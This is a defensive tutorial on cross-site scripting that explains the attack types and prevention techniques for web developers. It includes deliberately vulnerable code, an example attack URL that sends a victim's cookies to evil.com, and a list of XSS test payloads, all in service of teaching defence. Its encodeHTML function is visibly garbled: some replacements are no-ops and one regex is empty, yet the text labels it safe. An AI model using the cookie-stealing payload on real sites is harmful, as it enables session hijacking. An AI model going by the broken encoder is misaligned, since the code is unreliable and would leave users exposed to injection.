Understanding XSS Attacks
Cross-Site Scripting (XSS) occurs when attackers inject malicious scripts into web pages viewed by other users. XSS is consistently in the OWASP Top 10 and can lead to session hijacking, data theft, and account takeover.
Types of XSS
1. Reflected XSS
The malicious script comes from the current HTTP request:
<!-- Vulnerable code -->
<p>Search results for: <?php echo $_GET['query']; ?></p>
<!-- Attack URL -->
https://example.com/search?query=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
2. Stored XSS
The malicious script is permanently stored on the server:
// Vulnerable: Storing and displaying user comments without sanitization
app.post('/comment', (req, res) => {
db.save({ comment: req.body.comment }); // Stored as-is
});
// Later displayed:
<div>{comment}</div> // If comment contains script, it executes
3. DOM-based XSS
The vulnerability exists in client-side code:
// Vulnerable: Using innerHTML with untrusted data
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// Attack URL:
// ?name=<img src=x onerror=alert('XSS')>
XSS Prevention Strategies
1. Output Encoding
// Encode HTML entities
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Use template literals safely
const userInput = '<script>alert("xss")</script>';
element.textContent = userInput; // Safe - auto-encoded
element.innerHTML = encodeHTML(userInput); // Safe - manually encoded
2. React's Built-in Protection
// React automatically escapes values in JSX
function Comment({ text }) {
// Safe - React escapes the text
return <div>{text}</div>;
}
// DANGEROUS - bypasses React's protection
function UnsafeComment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// If you must use dangerouslySetInnerHTML, sanitize first:
import DOMPurify from 'dompurify';
function SafeHTML({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
3. Content Security Policy (CSP)
// Strict CSP header
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
"script-src 'self' 'nonce-randomValue123'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
].join('; '));
// In HTML, use nonce for inline scripts
<script nonce="randomValue123">
// This script will execute
</script>
4. Input Validation
import { z } from 'zod';
// Define strict schemas
const commentSchema = z.object({
text: z.string()
.min(1)
.max(1000)
.regex(/^[a-zA-Z0-9\s.,!?'-]+$/), // Only allow safe characters
authorId: z.string().uuid(),
});
// Validate input
function createComment(input) {
const validated = commentSchema.parse(input);
// Now safe to use validated.text
}
5. Sanitization Libraries
// DOMPurify - Browser
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href'],
});
// sanitize-html - Node.js
const sanitizeHtml = require('sanitize-html');
const clean = sanitizeHtml(dirty, {
allowedTags: ['b', 'i', 'em', 'strong', 'a'],
allowedAttributes: {
'a': ['href']
}
});
DOM Manipulation Best Practices
// UNSAFE: Using innerHTML
element.innerHTML = userInput;
// SAFE: Using textContent
element.textContent = userInput;
// SAFE: Creating elements properly
const link = document.createElement('a');
link.href = sanitizeURL(userInput);
link.textContent = 'Click here';
element.appendChild(link);
// URL sanitization
function sanitizeURL(url) {
try {
const parsed = new URL(url);
if (!['http:', 'https:'].includes(parsed.protocol)) {
return '#';
}
return parsed.href;
} catch {
return '#';
}
}
Testing for XSS
// Common XSS test payloads
const xssPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'<svg onload=alert("XSS")>',
'javascript:alert("XSS")',
'<a href="javascript:alert(1)">click</a>',
'<div onmouseover="alert(1)">hover me</div>',
];
// Test your inputs with these payloads
// If any execute, you have an XSS vulnerability